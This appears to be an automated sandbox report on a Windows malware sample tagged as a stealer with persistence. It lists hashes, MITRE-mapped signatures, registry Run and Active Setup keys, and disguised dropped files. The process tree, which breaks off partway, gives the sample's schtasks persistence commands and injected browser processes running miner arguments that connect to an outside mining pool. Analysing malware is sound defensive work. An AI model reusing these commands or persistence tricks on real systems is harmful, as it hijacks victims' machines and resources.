e2cadb0766cf2fc20a527c917f4475388ef3fbd73b8e0c6d071b695afbb1dba3

Resubmissions

04-07-2024 17:22

240704-vxyavazeql 10

04-07-2024 17:19

240704-vv7rhazenr 10

Analysis

max time kernel
297s
max time network
300s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
04-07-2024 17:22

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

[DemonArchives]0a47e2885329b83d82525cb438e57f7e.exe
Size

2.1MB
MD5

0a47e2885329b83d82525cb438e57f7e
SHA1

29346b4b5fc87c307001673061149a0b87b56c5b
SHA256

5d5e1582ff73932226faa633ebe171284d7f8ceef6642862e118ff377bd41b78
SHA512

99dbf4cdb706849cafb7f30016ea0a3f9fff85b20e4813e92bad63d369d66231d59d7ca8220d361cf71baf1f22a2e67d09e442ee27627f30d80818d00cc6f595
SSDEEP

49152:JEVUcGNLJpVCsGltfDZXUeSIo40DfOgBqT8kbrb41YM3wWOOEh/nFb:JE3GNmltKX4Of9BqT8Ob41YZW8/nFb

Score

8^/10

persistence spyware stealer upx

Malware Config

Signatures

Boot or Logon Autostart Execution: Active Setup 2 TTPs 7 IoCs

Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

persistence

Active Setup

T1547.014

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\Spotify\StubPath = "\"C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\Spotify.exe\""	plugin-container.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\Spotify\Version = "12,1,7601,6409"	plugin-container.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\Spotify\Version = "12,1,7601,6561"	plugin-container.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\Spotify	~0a47e288.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\Spotify\StubPath = "\"C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\Spotify.exe\""	~0a47e288.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\Spotify\Version = "12,1,7601,2293"	~0a47e288.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\Spotify	plugin-container.exe

Executes dropped EXE 3 IoCs

pid	Process
3052	~0a47e288.exe
3012	plugin-container.exe
1188	Process not Found

Loads dropped DLL 4 IoCs

pid	Process
2168	[DemonArchives]0a47e2885329b83d82525cb438e57f7e.exe
3052	~0a47e288.exe
2016	Process not Found
2700	Process not Found

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral9/memory/2168-0-0x0000000000400000-0x00000000004B3000-memory.dmp	upx
behavioral9/memory/2168-1-0x0000000000400000-0x00000000004B3000-memory.dmp	upx
behavioral9/memory/2168-15-0x0000000000400000-0x00000000004B3000-memory.dmp	upx

Adds Run key to start application 2 TTPs 8 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Windows\CurrentVersion\Run\Spotify = "\"C:\\Program Files\\Java\\jdk1.7.0_80\\jre\\lib\\deploy\\Spotify.exe\""	plugin-container.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\AppExtender = "\"C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\AppExtB.exe\""	plugin-container.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Google Update = "\"C:\\Program Files\\DVD Maker\\it-IT\\GoogleUpdate.exe\""	plugin-container.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\HP Software Update = "\"C:\\Program Files\\Windows Photo Viewer\\HPWuSchd2.exe\""	~0a47e288.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Windows\CurrentVersion\Run\Spotify = "\"C:\\Program Files\\Java\\jdk1.7.0_80\\jre\\lib\\deploy\\Spotify.exe\""	~0a47e288.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\AppExtender = "\"C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\AppExtB.exe\""	~0a47e288.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Google Update = "\"C:\\Program Files\\DVD Maker\\it-IT\\GoogleUpdate.exe\""	~0a47e288.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\HP Software Update = "\"C:\\Program Files\\Windows Photo Viewer\\HPWuSchd2.exe\""	plugin-container.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\p:	plugin-container.exe
File opened (read-only)	\??\s:	plugin-container.exe
File opened (read-only)	\??\a:	plugin-container.exe
File opened (read-only)	\??\i:	plugin-container.exe
File opened (read-only)	\??\q:	plugin-container.exe
File opened (read-only)	\??\v:	plugin-container.exe
File opened (read-only)	\??\w:	plugin-container.exe
File opened (read-only)	\??\g:	plugin-container.exe
File opened (read-only)	\??\m:	plugin-container.exe
File opened (read-only)	\??\o:	plugin-container.exe
File opened (read-only)	\??\r:	plugin-container.exe
File opened (read-only)	\??\b:	plugin-container.exe
File opened (read-only)	\??\l:	plugin-container.exe
File opened (read-only)	\??\j:	plugin-container.exe
File opened (read-only)	\??\k:	plugin-container.exe
File opened (read-only)	\??\n:	plugin-container.exe
File opened (read-only)	\??\t:	plugin-container.exe
File opened (read-only)	\??\u:	plugin-container.exe
File opened (read-only)	\??\x:	plugin-container.exe
File opened (read-only)	\??\e:	plugin-container.exe
File opened (read-only)	\??\h:	plugin-container.exe
File opened (read-only)	\??\y:	plugin-container.exe
File opened (read-only)	\??\z:	plugin-container.exe

AutoIT Executable 11 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral9/memory/2168-1-0x0000000000400000-0x00000000004B3000-memory.dmp	autoit_exe
behavioral9/files/0x0036000000015ce2-11.dat	autoit_exe
behavioral9/memory/2168-15-0x0000000000400000-0x00000000004B3000-memory.dmp	autoit_exe
behavioral9/files/0x000e00000001227f-232.dat	autoit_exe
behavioral9/files/0x0037000000015cea-233.dat	autoit_exe
behavioral9/files/0x000700000001962c-236.dat	autoit_exe
behavioral9/files/0x0007000000019630-239.dat	autoit_exe
behavioral9/files/0x0007000000019634-242.dat	autoit_exe
behavioral9/files/0x00070000000196b9-245.dat	autoit_exe
behavioral9/files/0x00070000000196be-248.dat	autoit_exe
behavioral9/files/0x0007000000019707-251.dat	autoit_exe

Suspicious use of SetThreadContext 22 IoCs

description	pid	Process	procid_target
PID 3012 set thread context of 2812	3012	plugin-container.exe	64
PID 3012 set thread context of 2632	3012	plugin-container.exe	66
PID 3012 set thread context of 2232	3012	plugin-container.exe	68
PID 3012 set thread context of 2512	3012	plugin-container.exe	70
PID 3012 set thread context of 2976	3012	plugin-container.exe	72
PID 3012 set thread context of 1776	3012	plugin-container.exe	74
PID 3012 set thread context of 2856	3012	plugin-container.exe	76
PID 3012 set thread context of 1728	3012	plugin-container.exe	78
PID 3012 set thread context of 2016	3012	plugin-container.exe	80
PID 3012 set thread context of 1036	3012	plugin-container.exe	82
PID 3012 set thread context of 2428	3012	plugin-container.exe	84
PID 3012 set thread context of 1788	3012	plugin-container.exe	96
PID 3012 set thread context of 336	3012	plugin-container.exe	98
PID 3012 set thread context of 2664	3012	plugin-container.exe	100
PID 3012 set thread context of 2060	3012	plugin-container.exe	102
PID 3012 set thread context of 864	3012	plugin-container.exe	104
PID 3012 set thread context of 2288	3012	plugin-container.exe	106
PID 3012 set thread context of 2116	3012	plugin-container.exe	108
PID 3012 set thread context of 1936	3012	plugin-container.exe	110
PID 3012 set thread context of 484	3012	plugin-container.exe	112
PID 3012 set thread context of 580	3012	plugin-container.exe	114
PID 3012 set thread context of 2612	3012	plugin-container.exe	116

Drops file in Program Files directory 42 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\configuration\commh32.exe	~0a47e288.exe
File opened for modification	C:\Program Files\DVD Maker\it-IT\~pcutzww.tmp	plugin-container.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\deploy\~mjshapz.tmp	plugin-container.exe
File opened for modification	C:\Program Files\DVD Maker\it-IT\~yoabcnd.tmp	~0a47e288.exe
File created	C:\Program Files\DVD Maker\it-IT\GoogleUpdate.exe	~0a47e288.exe
File opened for modification	C:\Program Files\Common Files\Microsoft Shared\ink\fsdefinitions\~sytecdx.tmp	~0a47e288.exe
File opened for modification	C:\Program Files\DVD Maker\it-IT\GoogleUpdate.exe	~0a47e288.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\configuration\~eqoiylk.tmp	~0a47e288.exe
File opened for modification	C:\Program Files\Windows Photo Viewer\~yenbeik.tmp	plugin-container.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\deploy\~jkvwohv.tmp	plugin-container.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\deploy\~cqaadsy.tmp	~0a47e288.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\deploy\Spotify.exe	~0a47e288.exe
File opened for modification	C:\Program Files\Common Files\Microsoft Shared\ink\fsdefinitions\AppExtB.exe	~0a47e288.exe
File opened for modification	C:\Program Files\Common Files\Microsoft Shared\ink\nb-NO\~lmndezw.tmp	plugin-container.exe
File opened for modification	C:\Program Files\Common Files\Microsoft Shared\ink\nb-NO\Spotify.exe	~0a47e288.exe
File opened for modification	C:\Program Files\Windows Photo Viewer\HPWuSchd2.exe	plugin-container.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\deploy\Spotify.exe	plugin-container.exe
File created	C:\Program Files\Common Files\Microsoft Shared\ink\fsdefinitions\AppExtB.exe	plugin-container.exe
File opened for modification	C:\Program Files\Common Files\Microsoft Shared\ink\nb-NO\~nlaurbl.tmp	plugin-container.exe
File opened for modification	C:\Program Files\Common Files\Microsoft Shared\ink\nb-NO\~camzfqk.tmp	~0a47e288.exe
File created	C:\Program Files\Common Files\Microsoft Shared\ink\nb-NO\Spotify.exe	~0a47e288.exe
File opened for modification	C:\Program Files\Windows Photo Viewer\~xxlpics.tmp	~0a47e288.exe
File opened for modification	C:\Program Files\Common Files\Microsoft Shared\ink\fsdefinitions\AppExtB.exe	plugin-container.exe
File opened for modification	C:\Program Files\DVD Maker\it-IT\GoogleUpdate.exe	plugin-container.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\configuration\~tscxofa.tmp	plugin-container.exe
File opened for modification	C:\Program Files\Windows Photo Viewer\~jkyjwxz.tmp	plugin-container.exe
File opened for modification	C:\Program Files\Windows Photo Viewer\HPWuSchd2.exe	~0a47e288.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\deploy\Spotify.exe	~0a47e288.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\configuration\commh32.exe	~0a47e288.exe
File created	C:\Program Files\Windows Photo Viewer\HPWuSchd2.exe	plugin-container.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\deploy\Spotify.exe	plugin-container.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\configuration\commh32.exe	plugin-container.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\configuration\commh32.exe	plugin-container.exe
File opened for modification	C:\Program Files\Common Files\Microsoft Shared\ink\nb-NO\Spotify.exe	plugin-container.exe
File created	C:\Program Files\Windows Photo Viewer\HPWuSchd2.exe	~0a47e288.exe
File created	C:\Program Files\Common Files\Microsoft Shared\ink\fsdefinitions\AppExtB.exe	~0a47e288.exe
File opened for modification	C:\Program Files\DVD Maker\it-IT\~fvwrfkt.tmp	plugin-container.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\configuration\~wtzjiyz.tmp	plugin-container.exe
File created	C:\Program Files\Common Files\Microsoft Shared\ink\nb-NO\Spotify.exe	plugin-container.exe
File opened for modification	C:\Program Files\Common Files\Microsoft Shared\ink\fsdefinitions\~azkqzwr.tmp	plugin-container.exe
File opened for modification	C:\Program Files\Common Files\Microsoft Shared\ink\fsdefinitions\~hzxivyw.tmp	plugin-container.exe
File created	C:\Program Files\DVD Maker\it-IT\GoogleUpdate.exe	plugin-container.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Scheduled Task/Job: Scheduled Task 1 TTPs 15 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1076	schtasks.exe
2420	schtasks.exe
2640	schtasks.exe
2680	schtasks.exe
2584	schtasks.exe
1916	schtasks.exe
2124	schtasks.exe
1520	schtasks.exe
652	schtasks.exe
840	schtasks.exe
2012	schtasks.exe
3016	schtasks.exe
2052	schtasks.exe
2484	schtasks.exe
1496	schtasks.exe

Suspicious behavior: EnumeratesProcesses 55 IoCs

pid	Process
2168	[DemonArchives]0a47e2885329b83d82525cb438e57f7e.exe
2168	[DemonArchives]0a47e2885329b83d82525cb438e57f7e.exe
3052	~0a47e288.exe
3052	~0a47e288.exe
3012	plugin-container.exe
3012	plugin-container.exe
3012	plugin-container.exe
3012	plugin-container.exe
3012	plugin-container.exe
3012	plugin-container.exe
3012	plugin-container.exe
3012	plugin-container.exe
3012	plugin-container.exe
3012	plugin-container.exe
3012	plugin-container.exe
3012	plugin-container.exe
3012	plugin-container.exe
3012	plugin-container.exe
3012	plugin-container.exe
3012	plugin-container.exe
3012	plugin-container.exe
3012	plugin-container.exe
3012	plugin-container.exe
3012	plugin-container.exe
3012	plugin-container.exe
3012	plugin-container.exe
3012	plugin-container.exe
3012	plugin-container.exe
3012	plugin-container.exe
3012	plugin-container.exe
3012	plugin-container.exe
3012	plugin-container.exe
3012	plugin-container.exe
3012	plugin-container.exe
3012	plugin-container.exe
3012	plugin-container.exe
3012	plugin-container.exe
3012	plugin-container.exe
3012	plugin-container.exe
3012	plugin-container.exe
3012	plugin-container.exe
3012	plugin-container.exe
3012	plugin-container.exe
3012	plugin-container.exe
3012	plugin-container.exe
3012	plugin-container.exe
3012	plugin-container.exe
3012	plugin-container.exe
3012	plugin-container.exe
3012	plugin-container.exe
3012	plugin-container.exe
3012	plugin-container.exe
3012	plugin-container.exe
3012	plugin-container.exe
3012	plugin-container.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2168 wrote to memory of 3052	2168	[DemonArchives]0a47e2885329b83d82525cb438e57f7e.exe	28
PID 2168 wrote to memory of 3052	2168	[DemonArchives]0a47e2885329b83d82525cb438e57f7e.exe	28
PID 2168 wrote to memory of 3052	2168	[DemonArchives]0a47e2885329b83d82525cb438e57f7e.exe	28
PID 2168 wrote to memory of 3052	2168	[DemonArchives]0a47e2885329b83d82525cb438e57f7e.exe	28
PID 3052 wrote to memory of 2792	3052	~0a47e288.exe	29
PID 3052 wrote to memory of 2792	3052	~0a47e288.exe	29
PID 3052 wrote to memory of 2792	3052	~0a47e288.exe	29
PID 3052 wrote to memory of 1264	3052	~0a47e288.exe	31
PID 3052 wrote to memory of 1264	3052	~0a47e288.exe	31
PID 3052 wrote to memory of 1264	3052	~0a47e288.exe	31
PID 3052 wrote to memory of 2752	3052	~0a47e288.exe	33
PID 3052 wrote to memory of 2752	3052	~0a47e288.exe	33
PID 3052 wrote to memory of 2752	3052	~0a47e288.exe	33
PID 3052 wrote to memory of 2012	3052	~0a47e288.exe	35
PID 3052 wrote to memory of 2012	3052	~0a47e288.exe	35
PID 3052 wrote to memory of 2012	3052	~0a47e288.exe	35
PID 3052 wrote to memory of 2584	3052	~0a47e288.exe	37
PID 3052 wrote to memory of 2584	3052	~0a47e288.exe	37
PID 3052 wrote to memory of 2584	3052	~0a47e288.exe	37
PID 3052 wrote to memory of 1520	3052	~0a47e288.exe	39
PID 3052 wrote to memory of 1520	3052	~0a47e288.exe	39
PID 3052 wrote to memory of 1520	3052	~0a47e288.exe	39
PID 3052 wrote to memory of 652	3052	~0a47e288.exe	41
PID 3052 wrote to memory of 652	3052	~0a47e288.exe	41
PID 3052 wrote to memory of 652	3052	~0a47e288.exe	41
PID 3052 wrote to memory of 1076	3052	~0a47e288.exe	43
PID 3052 wrote to memory of 1076	3052	~0a47e288.exe	43
PID 3052 wrote to memory of 1076	3052	~0a47e288.exe	43
PID 3052 wrote to memory of 3012	3052	~0a47e288.exe	45
PID 3052 wrote to memory of 3012	3052	~0a47e288.exe	45
PID 3052 wrote to memory of 3012	3052	~0a47e288.exe	45
PID 3012 wrote to memory of 1148	3012	plugin-container.exe	46
PID 3012 wrote to memory of 1148	3012	plugin-container.exe	46
PID 3012 wrote to memory of 1148	3012	plugin-container.exe	46
PID 3012 wrote to memory of 2376	3012	plugin-container.exe	48
PID 3012 wrote to memory of 2376	3012	plugin-container.exe	48
PID 3012 wrote to memory of 2376	3012	plugin-container.exe	48
PID 3012 wrote to memory of 2156	3012	plugin-container.exe	50
PID 3012 wrote to memory of 2156	3012	plugin-container.exe	50
PID 3012 wrote to memory of 2156	3012	plugin-container.exe	50
PID 3012 wrote to memory of 3016	3012	plugin-container.exe	52
PID 3012 wrote to memory of 3016	3012	plugin-container.exe	52
PID 3012 wrote to memory of 3016	3012	plugin-container.exe	52
PID 3012 wrote to memory of 1916	3012	plugin-container.exe	56
PID 3012 wrote to memory of 1916	3012	plugin-container.exe	56
PID 3012 wrote to memory of 1916	3012	plugin-container.exe	56
PID 3012 wrote to memory of 2052	3012	plugin-container.exe	58
PID 3012 wrote to memory of 2052	3012	plugin-container.exe	58
PID 3012 wrote to memory of 2052	3012	plugin-container.exe	58
PID 3012 wrote to memory of 2484	3012	plugin-container.exe	60
PID 3012 wrote to memory of 2484	3012	plugin-container.exe	60
PID 3012 wrote to memory of 2484	3012	plugin-container.exe	60
PID 3012 wrote to memory of 2420	3012	plugin-container.exe	62
PID 3012 wrote to memory of 2420	3012	plugin-container.exe	62
PID 3012 wrote to memory of 2420	3012	plugin-container.exe	62
PID 3012 wrote to memory of 2812	3012	plugin-container.exe	64
PID 3012 wrote to memory of 2812	3012	plugin-container.exe	64
PID 3012 wrote to memory of 2812	3012	plugin-container.exe	64
PID 3012 wrote to memory of 2812	3012	plugin-container.exe	64
PID 3012 wrote to memory of 2812	3012	plugin-container.exe	64
PID 3012 wrote to memory of 2632	3012	plugin-container.exe	66
PID 3012 wrote to memory of 2632	3012	plugin-container.exe	66
PID 3012 wrote to memory of 2632	3012	plugin-container.exe	66
PID 3012 wrote to memory of 2632	3012	plugin-container.exe	66

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\[DemonArchives]0a47e2885329b83d82525cb438e57f7e.exe
"C:\Users\Admin\AppData\Local\Temp\[DemonArchives]0a47e2885329b83d82525cb438e57f7e.exe"
1⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2168
- C:\Users\Admin\AppData\Local\Temp\~0a47e288.exe
  "C:\Users\Admin\AppData\Local\Temp\~0a47e288.exe"
  2⤵
  - Boot or Logon Autostart Execution: Active Setup
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3052
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /C DIR /A:D /S /B *
    3⤵
    PID:2792
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /C DIR /A:D /S /B *
    3⤵
    PID:1264
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /C DIR /A:D /S /B *
    3⤵
    PID:2752
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /CREATE /F /RL HIGHEST /SC MINUTE /MO 34 /TN "HP Software Update" /TR "\"C:\Program Files\Windows Photo Viewer\HPWuSchd2.exe\""
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2012
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /CREATE /F /RL HIGHEST /SC MINUTE /MO 34 /TN "Spotify" /TR "\"C:\Program Files\Java\jdk1.7.0_80\jre\lib\deploy\Spotify.exe\""
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2584
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /CREATE /F /RL HIGHEST /SC MINUTE /MO 35 /TN "AppExtender" /TR "\"C:\Program Files\Common Files\Microsoft Shared\ink\fsdefinitions\AppExtB.exe\""
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1520
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /CREATE /F /RL HIGHEST /SC MINUTE /MO 32 /TN "Google Update" /TR "\"C:\Program Files\DVD Maker\it-IT\GoogleUpdate.exe\""
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:652
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /CREATE /F /SC ONLOGON /TN "Comm Driver" /TR "\"C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\configuration\commh32.exe\""
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1076
- - C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\plugin-container.exe
    C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\plugin-container.exe
    3⤵
    - Boot or Logon Autostart Execution: Active Setup
    - Executes dropped EXE
    - Adds Run key to start application
    - Enumerates connected drives
    - Suspicious use of SetThreadContext
    - Drops file in Program Files directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:3012
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /C DIR /A:D /S /B *
      4⤵
      PID:1148
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /C DIR /A:D /S /B *
      4⤵
      PID:2376
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /C DIR /A:D /S /B *
      4⤵
      PID:2156
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /CREATE /F /RL HIGHEST /SC MINUTE /MO 11 /TN "HP Software Update" /TR "\"C:\Program Files\Windows Photo Viewer\HPWuSchd2.exe\""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3016
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /CREATE /F /RL HIGHEST /SC MINUTE /MO 8 /TN "Spotify" /TR "\"C:\Program Files\Java\jdk1.7.0_80\jre\lib\deploy\Spotify.exe\""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1916
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /CREATE /F /RL HIGHEST /SC MINUTE /MO 18 /TN "AppExtender" /TR "\"C:\Program Files\Common Files\Microsoft Shared\ink\fsdefinitions\AppExtB.exe\""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2052
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /CREATE /F /RL HIGHEST /SC MINUTE /MO 34 /TN "Google Update" /TR "\"C:\Program Files\DVD Maker\it-IT\GoogleUpdate.exe\""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2484
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /CREATE /F /SC ONLOGON /TN "Comm Driver" /TR "\"C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\configuration\commh32.exe\""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2420
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -u node.bot6 -p x -o http://ypool.net:8082 -t 8 -m128
      4⤵
      PID:2812
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -u node.bot6 -p x -o http://ypool.net:8082 -t 8 -m128
      4⤵
      PID:2632
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" -u node.bot6 -p x -o http://ypool.net:8082 -t 8 -m128
      4⤵
      PID:2232
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" -u node.bot6 -p x -o http://ypool.net:8082 -t 8 -m128
      4⤵
      PID:2512
  - - C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" -u node.bot6 -p x -o http://ypool.net:8082 -t 8 -m128
      4⤵
      PID:2976
  - - C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" -u node.bot6 -p x -o http://ypool.net:8082 -t 8 -m128
      4⤵
      PID:1776
  - - C:\Program Files\Java\jre7\bin\javaw.exe
      "C:\Program Files\Java\jre7\bin\javaw.exe" -u node.bot6 -p x -o http://ypool.net:8082 -t 8 -m128
      4⤵
      PID:2856
  - - C:\Program Files\Java\jre7\bin\javaw.exe
      "C:\Program Files\Java\jre7\bin\javaw.exe" -u node.bot6 -p x -o http://ypool.net:8082 -t 8 -m128
      4⤵
      PID:1728
  - - C:\Windows\explorer.exe
      "C:\Windows\explorer.exe" -u node.bot6 -p x -o http://ypool.net:8082 -t 8 -m128
      4⤵
      PID:2016
  - - C:\Windows\explorer.exe
      "C:\Windows\explorer.exe" -u node.bot6 -p x -o http://ypool.net:8082 -t 8 -m128
      4⤵
      PID:1036
  - - C:\Windows\explorer.exe
      "C:\Windows\explorer.exe" -u node.bot6 -p x -o http://ypool.net:8082 -t 8 -m128
      4⤵
      PID:2428
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /CREATE /F /RL HIGHEST /SC MINUTE /MO 9 /TN "HP Software Update" /TR "\"C:\Program Files\Windows Photo Viewer\HPWuSchd2.exe\""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1496
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /CREATE /F /RL HIGHEST /SC MINUTE /MO 17 /TN "Spotify" /TR "\"C:\Program Files\Java\jdk1.7.0_80\jre\lib\deploy\Spotify.exe\""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2640
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /CREATE /F /RL HIGHEST /SC MINUTE /MO 34 /TN "AppExtender" /TR "\"C:\Program Files\Common Files\Microsoft Shared\ink\fsdefinitions\AppExtB.exe\""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2680
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /CREATE /F /RL HIGHEST /SC MINUTE /MO 12 /TN "Google Update" /TR "\"C:\Program Files\DVD Maker\it-IT\GoogleUpdate.exe\""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:840
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /CREATE /F /SC ONLOGON /TN "Comm Driver" /TR "\"C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\configuration\commh32.exe\""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2124
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -u node.bot6 -p x -o http://ypool.net:8085 -t 8 -m128
      4⤵
      PID:1788
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -u node.bot6 -p x -o http://ypool.net:8085 -t 8 -m128
      4⤵
      PID:336
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" -u node.bot6 -p x -o http://ypool.net:8085 -t 8 -m128
      4⤵
      PID:2664
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" -u node.bot6 -p x -o http://ypool.net:8085 -t 8 -m128
      4⤵
      PID:2060
  - - C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" -u node.bot6 -p x -o http://ypool.net:8085 -t 8 -m128
      4⤵
      PID:864
  - - C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" -u node.bot6 -p x -o http://ypool.net:8085 -t 8 -m128
      4⤵
      PID:2288
  - - C:\Program Files\Java\jre7\bin\javaw.exe
